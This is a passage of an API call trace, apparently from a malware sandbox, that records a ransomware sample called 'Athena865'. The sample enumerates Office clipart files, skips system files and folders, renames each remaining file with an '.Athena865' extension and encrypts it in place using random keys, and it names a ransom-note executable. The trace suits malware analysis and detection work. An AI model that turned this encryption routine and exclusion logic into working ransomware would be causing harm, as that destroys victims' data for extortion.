lpString2="perflogs") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="MSBuild") returned -1 [0121.469] lstrlenW (lpString="AN01251_.WMF") returned 12 [0121.469] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01251_.WMF" | out: lpString1="AN01251_.WMF") returned="AN01251_.WMF" [0121.469] lstrlenW (lpString="AN01251_.WMF") returned 12 [0121.469] lstrlenW (lpString="Athena865") returned 9 [0121.469] lstrcmpiW (lpString1="1251_.WMF", lpString2="Athena865") returned -1 [0121.469] lstrlenW (lpString=".dll") returned 4 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".dll") returned 1 [0121.469] lstrlenW (lpString=".lnk") returned 4 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".lnk") returned 1 [0121.469] lstrlenW (lpString=".ini") returned 4 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".ini") returned 1 [0121.469] lstrlenW (lpString=".sys") returned 4 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".sys") returned 1 [0121.469] lstrlenW (lpString="AN01251_.WMF") returned 12 [0121.469] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.Athena865") returned 73 [0121.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.470] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2756) returned 1 [0121.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.471] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.472] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.472] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.472] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd0, lpName=0x0) returned 0x154 [0121.473] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdd0) returned 0x100000 [0121.474] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.474] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.474] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.475] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.475] CloseHandle (hObject=0x154) returned 1 [0121.475] CloseHandle (hObject=0x17c) returned 1 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".") returned 1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="..") returned 1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="windows") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="bootmgr") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="temp") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="pagefile.sys") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="boot") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ids.txt") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="ntuser.dat") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="perflogs") returned -1 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="MSBuild") returned -1 [0121.476] lstrlenW (lpString="AN01545_.WMF") returned 12 [0121.476] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01545_.WMF" | out: lpString1="AN01545_.WMF") returned="AN01545_.WMF" [0121.476] lstrlenW (lpString="AN01545_.WMF") returned 12 [0121.476] lstrlenW (lpString="Athena865") returned 9 [0121.476] lstrcmpiW (lpString1="1545_.WMF", lpString2="Athena865") returned -1 [0121.476] lstrlenW (lpString=".dll") returned 4 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".dll") returned 1 [0121.476] lstrlenW (lpString=".lnk") returned 4 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".lnk") returned 1 [0121.476] lstrlenW (lpString=".ini") returned 4 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".ini") returned 1 [0121.476] lstrlenW (lpString=".sys") returned 4 [0121.476] lstrcmpiW (lpString1="AN01545_.WMF", lpString2=".sys") returned 1 [0121.477] lstrlenW (lpString="AN01545_.WMF") returned 12 [0121.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.Athena865") returned 73 [0121.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.478] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7372) returned 1 [0121.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.479] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.479] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.479] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fd0, lpName=0x0) returned 0x154 [0121.480] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fd0) returned 0x100000 [0121.481] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.482] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.482] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.483] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN02122_.WMF" | out: lpString1="AN02122_.WMF") returned="AN02122_.WMF" [0121.483] lstrlenW (lpString="AN02122_.WMF") returned 12 [0121.483] lstrlenW (lpString="Athena865") returned 9 [0121.483] lstrcmpiW (lpString1="2122_.WMF", lpString2="Athena865") returned -1 [0121.483] lstrlenW (lpString=".dll") returned 4 [0121.483] lstrcmpiW (lpString1="AN02122_.WMF", lpString2=".dll") returned 1 [0121.483] lstrlenW (lpString=".lnk") returned 4 [0121.483] lstrcmpiW (lpString1="AN02122_.WMF", lpString2=".lnk") returned 1 [0121.483] lstrlenW (lpString=".ini") returned 4 [0121.483] lstrcmpiW (lpString1="AN02122_.WMF", lpString2=".ini") returned 1 [0121.483] lstrlenW (lpString=".sys") returned 4 [0121.483] lstrcmpiW (lpString1="AN02122_.WMF", lpString2=".sys") returned 1 [0121.483] lstrlenW (lpString="AN02122_.WMF") returned 12 [0121.483] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.Athena865") returned 73 [0121.483] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.485] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7540) returned 1 [0121.485] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.486] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.486] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.486] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2080, lpName=0x0) returned 0x154 [0121.488] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2080) returned 0x100000 [0121.489] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.489] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.489] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.490] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN02559_.WMF" | out: lpString1="AN02559_.WMF") returned="AN02559_.WMF" [0121.490] lstrlenW (lpString="AN02559_.WMF") returned 12 [0121.490] lstrlenW (lpString="Athena865") returned 9 [0121.490] lstrcmpiW (lpString1="2559_.WMF", lpString2="Athena865") returned -1 [0121.490] lstrlenW (lpString=".dll") returned 4 [0121.490] lstrcmpiW (lpString1="AN02559_.WMF", lpString2=".dll") returned 1 [0121.490] lstrlenW (lpString=".lnk") returned 4 [0121.490] lstrcmpiW (lpString1="AN02559_.WMF", lpString2=".lnk") returned 1 [0121.490] lstrlenW (lpString=".ini") returned 4 [0121.490] lstrcmpiW (lpString1="AN02559_.WMF", lpString2=".ini") returned 1 [0121.490] lstrlenW (lpString=".sys") returned 4 [0121.490] lstrcmpiW (lpString1="AN02559_.WMF", lpString2=".sys") returned 1 [0121.490] lstrlenW (lpString="AN02559_.WMF") returned 12 [0121.490] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.Athena865") returned 73 [0121.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.491] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6632) returned 1 [0121.492] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.492] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.492] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.496] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.496] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.497] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN02724_.WMF" | out: lpString1="AN02724_.WMF") returned="AN02724_.WMF" [0121.497] lstrlenW (lpString="AN02724_.WMF") returned 12 [0121.497] lstrlenW (lpString="Athena865") returned 9 [0121.497] lstrcmpiW (lpString1="2724_.WMF", lpString2="Athena865") returned -1 [0121.497] lstrlenW (lpString=".dll") returned 4 [0121.497] lstrcmpiW (lpString1="AN02724_.WMF", lpString2=".dll") returned 1 [0121.497] lstrlenW (lpString=".lnk") returned 4 [0121.497] lstrcmpiW (lpString1="AN02724_.WMF", lpString2=".lnk") returned 1 [0121.497] lstrlenW (lpString=".ini") returned 4 [0121.497] lstrcmpiW (lpString1="AN02724_.WMF", lpString2=".ini") returned 1 [0121.497] lstrlenW (lpString=".sys") returned 4 [0121.497] lstrcmpiW (lpString1="AN02724_.WMF", lpString2=".sys") returned 1 [0121.497] lstrlenW (lpString="AN02724_.WMF") returned 12 [0121.497] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.Athena865") returned 73 [0121.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.499] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2108) returned 1 [0121.499] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.500] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.500] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.504] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.504] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.504] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN03500_.WMF" | out: lpString1="AN03500_.WMF") returned="AN03500_.WMF" [0121.504] lstrlenW (lpString="AN03500_.WMF") returned 12 [0121.504] lstrlenW (lpString="Athena865") returned 9 [0121.504] lstrcmpiW (lpString1="3500_.WMF", lpString2="Athena865") returned -1 [0121.504] lstrlenW (lpString=".dll") returned 4 [0121.504] lstrcmpiW (lpString1="AN03500_.WMF", lpString2=".dll") returned 1 [0121.504] lstrlenW (lpString=".lnk") returned 4 [0121.504] lstrcmpiW (lpString1="AN03500_.WMF", lpString2=".lnk") returned 1 [0121.504] lstrlenW (lpString=".ini") returned 4 [0121.504] lstrcmpiW (lpString1="AN03500_.WMF", lpString2=".ini") returned 1 [0121.504] lstrlenW (lpString=".sys") returned 4 [0121.504] lstrcmpiW (lpString1="AN03500_.WMF", lpString2=".sys") returned 1 [0121.504] lstrlenW (lpString="AN03500_.WMF") returned 12 [0121.505] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.Athena865") returned 73 [0121.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.507] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9240) returned 1 [0121.508] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.508] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.508] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.514] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.514] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.515] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04108_.WMF" | out: lpString1="AN04108_.WMF") returned="AN04108_.WMF" [0121.515] lstrlenW (lpString="AN04108_.WMF") returned 12 [0121.515] lstrlenW (lpString="Athena865") returned 9 [0121.515] lstrcmpiW (lpString1="4108_.WMF", lpString2="Athena865") returned -1 [0121.515] lstrlenW (lpString=".dll") returned 4 [0121.515] lstrcmpiW (lpString1="AN04108_.WMF", lpString2=".dll") returned 1 [0121.515] lstrlenW (lpString=".lnk") returned 4 [0121.515] lstrcmpiW (lpString1="AN04108_.WMF", lpString2=".lnk") returned 1 [0121.515] lstrlenW (lpString=".ini") returned 4 [0121.515] lstrcmpiW (lpString1="AN04108_.WMF", lpString2=".ini") returned 1 [0121.515] lstrlenW (lpString=".sys") returned 4 [0121.515] lstrcmpiW (lpString1="AN04108_.WMF", lpString2=".sys") returned 1 [0121.515] lstrlenW (lpString="AN04108_.WMF") returned 12 [0121.515] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.Athena865") returned 73 [0121.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.517] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2344) returned 1 [0121.517] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.517] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.517] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.519] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.520] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.520] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.520] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04117_.WMF" | out: lpString1="AN04117_.WMF") returned="AN04117_.WMF" [0121.520] lstrlenW (lpString="AN04117_.WMF") returned 12 [0121.521] lstrlenW (lpString="Athena865") returned 9 [0121.521] lstrcmpiW (lpString1="4117_.WMF", lpString2="Athena865") returned -1 [0121.521] lstrlenW (lpString=".dll") returned 4 [0121.521] lstrcmpiW (lpString1="AN04117_.WMF", lpString2=".dll") returned 1 [0121.521] lstrlenW (lpString=".lnk") returned 4 [0121.521] lstrcmpiW (lpString1="AN04117_.WMF", lpString2=".lnk") returned 1 [0121.521] lstrlenW (lpString=".ini") returned 4 [0121.521] lstrcmpiW (lpString1="AN04117_.WMF", lpString2=".ini") returned 1 [0121.521] lstrlenW (lpString=".sys") returned 4 [0121.521] lstrcmpiW (lpString1="AN04117_.WMF", lpString2=".sys") returned 1 [0121.521] lstrlenW (lpString="AN04117_.WMF") returned 12 [0121.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.Athena865") returned 73 [0121.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.522] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6060) returned 1 [0121.522] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.523] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, 